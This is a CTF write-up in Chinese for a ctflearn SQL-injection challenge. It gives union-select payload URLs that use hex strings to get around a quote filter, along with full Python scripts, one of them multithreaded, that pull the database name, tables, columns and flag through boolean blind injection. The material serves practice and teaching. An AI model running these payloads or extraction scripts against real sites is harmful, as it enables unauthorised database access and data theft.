0x00前言:
本题是国外的一个CTF平台的题目,题目不难,但学习了波多线程payload写法
先看题目描述,提示"union是个有用的命令",估计是用联合查询就能出答案的(因为前面有道easy题也是联合查询出答案,因此我最先做题没看题干,以为要盲注...于是写了payload)
0x01正常解法:
正常解法很简单,最先用 1'or'1'='1的时候发现没有反应,用burpsuite的Intruder进行fuzz一下发现是整数型注入,并且 ' (单引号)被过滤掉了
于是用union测试,有1,2,3的回显
https://web.ctflearn.com/web8/?id=-1 union select 1,2,3,4%23
接下来继续查表,查字段,最终找flag
这里唯一一个要bypass的点在于单引号被过滤,因此常规字符串不行,于是用hex来表示字符串,可以不需要单引号
https://web.ctflearn.com/web8/?id=-1+union+select+1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7765626569676874%20),3,4%23
最后找到flag为 abctf{uni0n_1s_4_gr34t_c0mm4nd}
0x02多线程的payload:
因为寒假的怠慢,于是我也借这道题来写写脚本找找手感,于是也就顺便学习了下多线程的写法
首先常规套路的payload
import requests url = "https://web.ctflearn.com/web8/index.php" s = requests.session() length = 0 def get_length(): global length for i in range(0,100): payload = url + "?id=-1||if((length((select database()))=" + str(i) + "),1,0)%23" r = s.get(payload) if("Saranac" in r.text): length = i break print "length is :" + str(length) def get_text(): global length flag = "" for i in range(1,length + 1): for j in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-=+,.{}': payload = url + "?id=-1||if((substr((select database())," + str(i) + ",1)=" + str(hex(ord(j))) + "),1,0)%23" r = s.get(payload) if("Saranac" in r.text): flag = flag + str(j) print "flag is : " + flag break print "the final flag is : " + flag def main(): get_length() get_text() if __name__ == '__main__': main()
这里仅爆破了下数据库名
然后就是将其改造成多线程
因为第一次写多线程,所有从一步步说起
首先payload多线程要用到Threading模块,并且要使用队列,因此要导入进来
import threading
import Queue
然后线程工作的方式是申请一个threading.thread的类,然后用类中的start()方法启动,有多少个该类对象start()了,就有多少个线程在跑
申请类对象的方法
thread_count = 8 threads = [] for i in range(0, thread_count): thread = TextThread(queue) thread.start() threads.append(thread) for thread in threads: thread.join()
TextThread类是我继承了Threading.Thread的类名,之后会说到
thread_count是线程数
threads[]是存放线程对象的数组
thread=TextThread(queue) 实例化对象,带个参数,该参数为队列的对象
thread.start()启动线程
threads.append(thread)为将本次循环的线程添加到list里面去
thread.join()是等待所有线程结束后才会继续运行
对于爆破字符长度不太需要多线程共同完成,因为该题的字符长度最多30+,因此多线程处理的地方为爆破每个位置的字符
那么如何多个线程共同完成接近50个字符处理呢(因为mysql默认大小写不敏感,因此会出现W w这种2个字符都会正确的情况,因此我payload少写了大写字符)
考虑到最主要消耗时间的地方是s.get(payload)发送请求这段代码,因此for里面的字符压入队列消耗时间是很短的
所以基本思想是将每个测试的字符存入队列,每个线程发送了请求后,直接从队列里面拿下一个
这里就需要打造自己的类了,继承Threading.thread的类,重写构造方法和run()方法,run()方法即启动的时候线程该如何运行的方法
class TextThread(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.__queue = queue def run(self): global text queue = self.__queue while not queue.empty(): info = queue.get() num = info[0] word = info[1] payload = url + "?id=-1||if((substr((select database())," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23" r = s.get(payload) if("Saranac" in r.text): text += word print text
可以看到从构造方法__init__继承了父类的__init__方法,并额外获取了一个queue队列变量
run()方法
先获取队列方法
然后如果队列不为空,从队列里面取值进行赋值给num和word,进行发送
字符进入队列用一个for语句压入队列即可
for i in range(1, length + 1): for j in "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+,.{}": queue.put([i,j])
最后的payload为
import requests import Queue import threading url = "https://web.ctflearn.com/web8/index.php" s = requests.session() text = "" def get_length(): for len in range(1,100): print len #get datbase #payload = url + "?id=-1||if((length((select database()))=" + str(len) + "),1,0)%23" #get table #payload = url + "?id=-1||if((length((select group_concat(table_name) from information_schema.tables where table_schema = 0x7765626569676874))=" + str(len) + "),1,0)%23" #get column #payload = url + "?id=-1||if((length((select group_concat(column_name) from information_schema.columns where table_name = 0x7730775f7930755f6630756e645f6d33 ))=" + str(len) + "),1,0)%23" #get flag payload = url + "?id=-1||if((length((select group_concat(f0und_m3) from w0w_y0u_f0und_m3 ))=" + str(len) + "),1,0)%23" r = s.get(payload) if("Saranac" in r.text): return len class TextThread(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.__queue = queue def run(self): global text queue = self.__queue while not queue.empty(): info = queue.get() num = info[0] word = info[1] #get databse webeight #payload = url + "?id=-1||if((substr((select database())," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23" #get table w0w_y0u_f0und_m3,webeight #payload = url + "?id=-1||if((substr((select group_concat(table_name) from information_schema.tables where table_schema = 0x7765626569676874)," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23" #get column f0und_m3 #payload = url + "?id=-1||if((substr((select group_concat(column_name) from information_schema.columns where table_name = 0x7730775f7930755f6630756e645f6d33 )," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23" #get flag payload = url + "?id=-1||if((substr((select group_concat(f0und_m3) from w0w_y0u_f0und_m3 )," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23" r = s.get(payload) if("Saranac" in r.text): text += word print text def get_text(length): queue = Queue.Queue() text = "" for i in range(1, length + 1): for j in "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+,.{}": queue.put([i,j]) thread_count = 8 threads = [] for i in range(0, thread_count): thread = TextThread(queue) thread.start() threads.append(thread) for thread in threads: thread.join() def main(): length = get_length() print "the length is : " + str(length) get_text(length) print "the text is " + text if __name__=='__main__': main()
最先看菜鸟教程的时候其中讲到线程同步需要用锁来实现,但是如果在循环外面锁住,那么其实循环就只有一个线程在跑,如果在s.get(payload)的前后锁住,也只是一个线程在工作最主要耗费时间的地方,因此在最先学习的时候不知道到底如何加锁来达到同步,最后看了几篇文章后认为这里应该用队列完成
一直想着如何强行终止线程,但是发现python并没有给出方法,网上也有一些特殊的方法终止,但是有个说法是强行终止线程是个不正常的行为,因此也就没有写的更加复杂来强行终止来达到更快的速度